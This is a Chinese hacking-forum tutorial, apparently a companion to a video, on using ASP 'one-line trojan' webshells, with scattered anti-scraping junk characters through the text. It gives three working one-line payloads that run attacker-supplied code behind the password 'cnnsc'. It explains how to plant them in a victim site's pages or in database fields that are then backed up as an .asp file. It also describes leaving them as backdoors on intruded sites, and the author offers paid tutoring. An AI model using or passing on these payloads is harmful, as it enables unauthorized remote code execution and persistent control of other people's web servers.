[原创教程] 一句话木马的使用方法视频 木马, 视频

oooooo

一句话木马的使用  7 a9 E! o1 O2 @2 o* n5 ^
: `& @4 ?3 t) B9 u4 @, p. `
by:柔肠寸断 790653916  www.3ast.com.cn  不免费收点徒弟~~~3 \8 i4 P7 C5 W& z& E3 z: Z
, v% R. u- Y) i# q
& z6 p& t- b5 r; L9 E
1、咱们先弄懂怎么使用的。6 `7 O4 `2 `/ P, _
& d, i% ]; {# V6 j4 c1 ~" |2 {8 r
分为客户端和服务端, w. m! G/ `, H6 u+ p2 K, V* q; p
! U9 Y; R3 Z' _, |8 b
8 s- P7 d5 e+ J5 o; S# c3 }/ \
客户端是连接上去的程序，也可以是网页
9 H2 O# I" k' J' S3 l( W4 i7 J$ N+ t% b0 s5 S9 ~. _* n7 D
http://www.3ast.com.cn/tool/yijuhua.html& ?$ V$ F$ Q: K

! N9 v$ \& G# z- w/ C1 j服务端就是一段代码，代码里有对应的“密码”
# Y8 F- `$ }" J& @% _
5 X3 _  h+ z% f/ I  i2 s提供三个服务端:
" w( p) A0 f: a* |( f# _) {6 T3 P1. <%eval request("cnnsc")%>
7 @1 R& u: B& o8 I+ i) t5 C/ r* S2. <%execute request("cnnsc")%> ) S7 @- Q! x- k# v2 L  u8 v, Z) j
3. <%execute(request("cnnsc"))%>
+ B! L) \! U) S7 Y1 k& b) M  a& Z, i8 U- I! l
cnnsc--密码2 L7 q. J6 M' p1 U1 j
, w( a! ]" `7 C7 a- q% u
我们只要把这个代码插入到对方网站的网页中就可以了8 W& W- f4 G$ n
) L$ |. b3 u' P$ E
我演示下，用已经有的一个webshell添加一个asp文件，加上 <%eval request("cnnsc")%>
- J0 b$ h- V. t7 l( i9 q
# F4 D" D9 g, @  ~. o换一个页面，添加过了。访问的时候一切正常，看链接' M8 Y& j6 o. M# d0 J

+ h" W/ }- G; `! F/ C上传之后4 I. k3 M! m& m1 Q2 m4 c0 w* l

3 }8 D4 B7 E" i6 Z& H链接上去了
4 X; b- w4 u# O1 ?* m# N! xOK.这个就是链接的主要过程
4 @0 T; n5 E: H, i$ K/ w; J+ u1 m' ^- ~9 x% U3 r5 l6 g; F+ l* T

; M7 _/ T% K6 u% p9 M* W8 `% C/ S# c+ o9 S* n- Y8 m
) Y. O. D. ~" i# O) D
2、然后懂得哪里会用上、怎么用
  |- u) e' \/ d# v2 ~
/ Q* R# X5 w# l7 }(1)有的时候我们进入了XXX的后台，后台有备份数据库，那么我们就可以在系统中插入这个一句话代码，任意地方，比如皮肤名称啊，文章标题啊，只要是会被写进数据库的就可以了，然后备份数据库成一个asp文件（也有php的一句话），然后链接就可以拿下来了
- z) {6 R4 p! i9 f2 ?; ^( s0 t* _8 w: N, d
(2)可以给自己入侵的网站留下后门。。。。
1 `0 f0 y+ f% C. V3 H, {( D* U+ j$ a4 `& Q9 n- I
(3)我再想想。。。哎，想不出，还是要自己多多实践。。。。+ @% a  F( E% P

( |9 v4 X* i- O0 |好了，教程到此结束，不懂的可以再来问我。。。790653916